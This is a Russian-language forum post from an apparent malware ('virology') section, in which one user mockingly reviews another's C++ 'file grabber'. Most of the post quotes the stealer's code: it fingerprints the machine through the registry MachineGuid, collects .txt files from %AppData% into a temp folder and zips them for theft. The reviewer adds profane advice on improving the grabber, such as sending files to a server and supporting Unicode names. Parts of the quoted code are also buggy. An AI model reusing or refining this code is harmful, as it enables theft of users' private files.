Загрузка...

Разнос горе-проггера #2 [Типо файл граббер на C++]

Тема в разделе Вирусология создана пользователем arkadyYT 8 дек 2018. 260 просмотров

  1. arkadyYT
    arkadyYT Автор темы 8 дек 2018 Заблокирован(а) 26 25 дек 2017
    Тема: https://zelenka.guru/threads/695815/

    'Либу для ZIP берем отсюда - http://infozip.sourceforge.net.'
    А не легче передавать содержимое файлов на сервер чтобы тот сам создал архив? и билд будет меньше весить, это так-то придирка, идём дальше..


    Код
    #include <string.h>
    #include <windows.h>
    #include <sstream>
    #include <vector>
    #include <iostream>
    #include "zip.h"
    #include "dirent.h" //Прописываю напрямую, т.к. в VS 2008 нет dirent’а.

    using namespace std;

    void ZipFolder(string name, string path);
    extern vector<string> ListDirectory(string path, string mask);
    extern char *GetTempPath();
    extern BOOL FileExists(char *path);
    Начинается это плохо, уже вижу STL в коде, значит вес больше 100-150 кб, для нормального использования плохо.

    Код
    char *HWID()
    {
    HKEY hKey;
    DWORD cData = 255;
    TCHAR MachineGuid[255] = { '\0' };

    if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Cryptography", NULL, KEY_READ | KEY_WOW64_64KEY, &hKey) == ERROR_SUCCESS)
    RegQueryValueEx(hKey, "MachineGuid", NULL, NULL, (LPBYTE)MachineGuid, &cData);
    RegCloseKey(hKey);

    return MachineGuid;
    }
    HKEY_LOCAL_MACHINE -- Нужны права админа, не легче генерировать на основе сис. данных, результат один и тот-же, а можно вообще ключ активации винды.

    Код
    char* GetTempPath()
    {
    char *tmpPath = (char*)malloc(MAX_PATH);
    strcpy(tmpPath, getenv("Temp"));
    strcat(tmpPath, "\\");
    strcat(tmpPath, HWID());
    return tmpPath;
    }

    BOOL FileExists(char *path)
    {
    struct stat buffer;
    return (stat (path, &buffer) == 0);
    }
    Ебааать какой говнокод, как прям у меня год назад, в чём прикол использовать winapi когда ты уже себе stl в код запихнул? и о строках поддерживающих Unicode ты не думал?

    Код
    vector<string> ListDirectory(string path, string mask)
    {
    WIN32_FIND_DATA FindFileData;
    HANDLE hFind;
    string sPath;
    vector<string> folders;
    sPath.assign((char*)(path+mask).c_str()); // Mask should be regex (*.txt)
    hFind = FindFirstFile(sPath.data(), &FindFileData);
    do
    {
    folders.push_back(FindFileData.cFileName);
    }
    while (FindNextFile(hFind, &FindFileData));
    FindClose(hFind);
    return folders;
    }
    Ебаа.. оно как встретит файл с Unicode именем, так сразу и сдохнет (к примеру на мексиканских пк не нормальные символы)
    замени string на WCHAR*
    WIN32_FIND_DATA на WIN32_FIND_DATAW
    vector<string> folders на WCHAR* folders[]
    FindFirstFile на FindFirstFileW

    Код
    void ZipFolder(string name, string path)
    {
    HZIP hz = (HZIP)CreateZip(name.c_str(), 0);
    vector<string> start = ListDirectory(path, "\\*"); // List everything in directory

    for(int i = 0; i < start.size(); i++)
    {
    if (start[i] != "." && start[i] != "..") //Skip upper dirs
    {
    string realPath = path + "\\" + start[i]; //Full path to file/directory
    ZipAdd(hz, (char*)start[i].c_str(), (char*)realPath.c_str()); //Add to archive if it is file

    vector<string> folders = ListDirectory(realPath, "\\*"); //Go inside the dir
    for(int j = 0; j < folders.size(); j++)
    {
    if (folders[j] != "." && folders[j] != "..")
    {
    string zipPath = start[i] + "\\" + folders[j];
    realPath = path + "\\" + start[i] + "\\" + folders[j];
    ZipAdd(hz, (char*)zipPath.c_str(), (char*)realPath.c_str());

    vector<string> folders2 = ListFoldersInDirectory(realPath); //Go one step deeper
    for(int k = 0; k < folders2.size(); k++)
    {
    if (folders2[k] != "." && folders2[k] != "..")
    {
    string zipPath = start[i] + "/" + folders[j] + "/" + folders2[k];
    realPath = path + "\\" + start[i] + "\\" + folders[j]+ "\\" + folders2[k];
    ZipAdd(hz, (char*)zipPath.c_str(), (char*)realPath.c_str());
    }
    }
    }
    }
    }
    }
    CloseZip(hz);
    }
    Ну ничего нового, STL + WinAPI, какой ты профессиональный кодер уверенный в том, что утечек буфера из-за такого у тебя точно не будет!


    Код
    string tempPath = GetTempPath();
    CreateDirectory(tempPath.c_str(), NULL);
    Grab(getenv("AppData"), "\\*.txt", tempPath); //Grab all .txt files from %AppData%
    ZipFolder("test.zip", tempPath); //Archive will be created near the .exe file
    return 0;
    Да ты серьёзно блять, WinAPI + STL != GOOD
     
Загрузка...
Top